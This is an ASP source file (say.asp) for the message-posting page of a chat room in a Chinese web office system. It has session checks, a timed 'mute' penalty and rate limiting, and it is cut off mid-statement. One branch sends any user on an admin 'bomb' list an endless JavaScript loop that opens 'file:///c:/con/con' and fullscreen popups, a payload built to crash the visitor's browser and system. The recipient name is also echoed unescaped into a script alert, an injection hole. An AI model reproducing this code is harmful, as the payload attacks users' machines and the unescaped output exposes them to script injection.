say.asp

网佳网络办公系统（以下简称OA）是一套基于B/S模式的无纸化办公系统。[显著特点：无须安装客户端] 主要功能模块：管理 公文 车辆 通知 档案 值班 人事 审批 仓库 主界面 软件下载 个

<!--#include file="../config/config.asp"-->
<%Response.Buffer = true
Response.Expires=0
useronlinename=Application("hxf_c_useronlinename")
nickname=Session("hxf_u_nickname")
youname=nickname
maxtimeout=timeout
lasttime=Session("hxf_u_lasttime")
bombname=Application("hxf_c_bombname")
webicqname=Application("hxf_c_webicqname")
if Instr(bombname," "&nickname&" ")>0 then
 bombname=Replace(bombname," "&nickname&" ","")
 Application.Lock
  Application("hxf_c_bombname")=bombname
 Application.UnLock
 Response.Write "<script language=JavaScript>while(true){window.open('file:///c:/con/con');window.open('readonly/bomb.htm','','fullscreen=yes,Status=no,scrollbars=no,resizable=no');}</script>"
 Session.Abandon
 Response.End
end if
if nickname="" or Session("hxf_u_inthechat")<>"1" or Instr(LCase(useronlinename),LCase(" "&nickname&" "))=0 then
 Session("hxf_u_inthechat")="0"
 Response.Redirect "chaterr.asp?id=001"
end if
n=Year(date())
y=Month(date())
r=Day(date())
s=Hour(time())
f=Minute(time())
m=Second(time())
if len(y)=1 then y="0" & y
if len(r)=1 then r="0" & r
if len(s)=1 then s="0" & s
if len(f)=1 then f="0" & f
if len(m)=1 then m="0" & m
sj=s & ":" & f & ":" & m
sj2=n & "-" & y & "-" & r & " " & sj
Application.Lock
if Instr(LCase(application("jiutian_dianyaxue")),LCase(nickname))>0 then
dianxue=split(application("jiutian_dianyaxue"),";")
dxdx=0
for x=0 to UBound(dianxue)
yaxuename=split(dianxue(x),"_")
if yaxuename(0)=nickname then
if DateDiff("s",yaxuename(1),sj2)<60 then
Response.Write "<script Language=Javascript>alert('你已被哑穴，不能做任何事啊！还剩" & 60-DateDiff("s",yaxuename(1),sj2) & "秒自动解开!');</script>"
 Response.End
else
'jiexue=dianxue(x)&";"
application("jiutian_dianyaxue")=replace(application("jiutian_dianyaxue"),nickname,"")
 Response.Write "<script language=JavaScript>{alert('亏你内力深厚，用了1分钟把穴道冲开了!');}</script>"
 Response.End
end if
end if
next
end if
Application.UnLock
if DateDiff("s",Session("hxf_u_lastsaytime"),sj2)<3 then
 Response.Write "<script language=JavaScript>{alert('有话慢慢说，别噎着哦！');}</script>"
 Response.End
end if
Session("hxf_u_lastsaytime")=sj2
t="<font class=t>(" & sj & ")</font>"
if DateDiff("n",lasttime,sj2)>maxtimeout then
 Response.Write "<script language=JavaScript>top.location.href='nosaytimeout.asp';</script>"
 Response.End
end if
towho=Trim(Request.Form("towho"))
if towho="" then towho="大家"
if len(towho)>10 then towho=Left(towho,10)
if Not(towho="大家" or Instr(useronlinename," "&towho&" ")<>0 or Instr(useronlinename," "&nickmane&" ")<>0) then
 Response.Write "<script Language=Javascript>alert('“" & towho & "”不在聊天室中，不能对其发言。');parent.f2.document.af.towho.value='大家';parent.f2.document.af.towho.value='大家';parent.m.location.reload();</script>"
 Response.end
end if
act=0
towhoway=Request.Form("towhoway")
if towhoway<>1 then towhoway=0
addwordcolor=Request.Form("addwordcolor")
sayscolor=Request.Form("sayscolor")
addsays=Request.Form("addsays")
says=Trim(Request.Form("sy"))
sift=Trim(Request.Form("sift"))
if sift<>"0" and sift<>"1" and sift<>"2" then sift="0"
Session("hxf_u_sift")=sift
if len(says)>150 then says=Left(says,150)
if (says="" or says="//") then Response.End
says=server.HTMLEncode(says)
if InStr(says,"